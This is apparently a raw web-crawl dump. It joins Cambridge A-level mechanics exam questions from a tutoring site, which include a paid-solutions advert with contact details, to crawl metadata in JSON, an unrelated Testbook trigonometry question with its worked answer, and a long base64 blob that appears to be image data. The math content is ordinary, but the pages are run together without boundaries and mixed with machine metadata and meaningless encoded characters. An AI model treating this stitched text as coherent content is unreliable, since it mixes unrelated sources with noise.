"The diagram shows an approximate velocity-time graph for the motion of the tractor. The graph consists of two straight line segments. Use the graph to find an approximation for$\\text{(a)}$the distance$A B$,$\\text{(b)}$the acceleration of the tractor for$0< t <400$and for$400< t <800$.$\\text{(ii)}$The actual velocity of the tractor is given by$v=0.04 t-0.00005 t^{2}$for$0 \\leqslant t \\leqslant 800$.$\\text{(a)}$Find the values of$t$for which the actual acceleration of the tractor is given correctly by the approximate velocity-time graph in part$\\text{(i)}$.$$For the interval$0 \\leqslant t \\leqslant 400$, the approximate velocity of the tractor in part$\\text{(i)}$is denoted by$v_{1} \\mathrm{~m} \\mathrm{~s}^{-1}\\text{(b)}$Express$v_{1}$in terms of$t$and hence show that$v_{1}-v=0.00005(t-200)^{2}-1$.$\\text{(c)}$Deduce that$-1 \\leqslant v_{1}-v \\leqslant 1$.$$Question 3 Code: 9709/43/O/N/11/7, Topic: - A car of mass$600 \\mathrm{~kg}$travels along a straight horizontal road starting from a point$A$. The resistance to motion of the car is$750 \\mathrm{~N}$.$\\text{(i)}$The car travels from$A$to$B$at constant speed in$100 \\mathrm{~s}$. The power supplied by the car's engine is constant and equal to$30 \\mathrm{~kW}$. Find the distance$A B$.$\\text{(ii)}$The car's engine is switched off at$B$and the car's speed decreases until the car reaches$C$with a speed of$20 \\mathrm{~m} \\mathrm{~s}^{-1}$. Find the distance$B C$.$\\text{(iii)}$The car's engine is switched on at$C$and the power it supplies is constant and equal to$30 \\mathrm{~kW}$. The car takes$14 \\mathrm{~s}$to travel from$C$to$D$and reaches$D$with a speed of$30 \\mathrm{~m} \\mathrm{~s}^{-1}$. Find the distance$C D.\\$\n\nWorked solutions: P1, P3 & P6 (S1)\n\nIf you need worked solutions for P1, P3 & P6 (S1), contact us @ [email protected] | +254 721 301 418.\n\n1. Send us the link to these questions ( https://stemcie.com/view/138 ).\n2. We will solve the questions and provide you with the step by step worked solutions.\n3. We will then schedule a one to one online session to take you through the solutions (optional)."
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"https://stemcie.com/static/files/questions/9709/2011/O-N/42/images/9709-42-O-N-11-7.PNG",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7086425,"math_prob":0.99966013,"size":2897,"snap":"2022-05-2022-21","text_gpt3_token_len":1038,"char_repetition_ratio":0.14517802,"word_repetition_ratio":0.03930131,"special_character_ratio":0.39316535,"punctuation_ratio":0.07809847,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999374,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-22T20:35:52Z\",\"WARC-Record-ID\":\"<urn:uuid:63d80401-787d-4c42-ade8-cb0c46b2e0a4>\",\"Content-Length\":\"14475\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b32854b6-51b1-4a3c-b7f1-667229b0a825>\",\"WARC-Concurrent-To\":\"<urn:uuid:53aeafd5-d441-4b62-acb1-b839dd976954>\",\"WARC-IP-Address\":\"104.21.87.51\",\"WARC-Target-URI\":\"https://stemcie.com/view/138\",\"WARC-Payload-Digest\":\"sha1:VPAZ3L6DEHN452WVMVRCAEWXMUHMDGJ3\",\"WARC-Block-Digest\":\"sha1:XGLRX5NDKKYSETQBAOOKXNYRCDPM2HLD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662546071.13_warc_CC-MAIN-20220522190453-20220522220453-00066.warc.gz\"}"} |
https://testbook.com/question-answer/calculate-k-a-b-c12where-a--609447900f11f4c6531760f7 | [
"Calculate K = (a + b + c)1/2 where, a = tan38° × cot38°; b = 3sin45° × sec45°; c = 8sin60° × tan60°\n\n1. 6\n2. 4\n3. 2\n4. 3\n\nOption 2 : 4\n\nDetailed Solution\n\nGiven:\n\na = tan38° × cot38°\n\nb = 3sin45° × sec45°\n\nc = 8sin60° × tan60°\n\nFormula Used:\n\ntanx × tany = 1, if (x + y = 90°)",
null,
"Calculation:\n\na = tan38° × cot38°\n\n⇒ tan38° × cot(90° - 52°)\n\n⇒ tan38° × tan52°\n\n⇒ 1 (∵ tanx × tany = 1, when x + y = 90°)\n\nb = 3sin45° × sec45°\n\n⇒ 3 × 1/√2 × √2\n\n⇒ 3\n\nc = 8sin60° × tan60°\n\n8 × √3/2 × √3\n\n⇒ 12\n\nTherefore,\n\nK = (a + b + c)1/2\n\n⇒ (1 + 3+ 12)1/2\n\n⇒ √16\n\n⇒ 4"
] | [
null,
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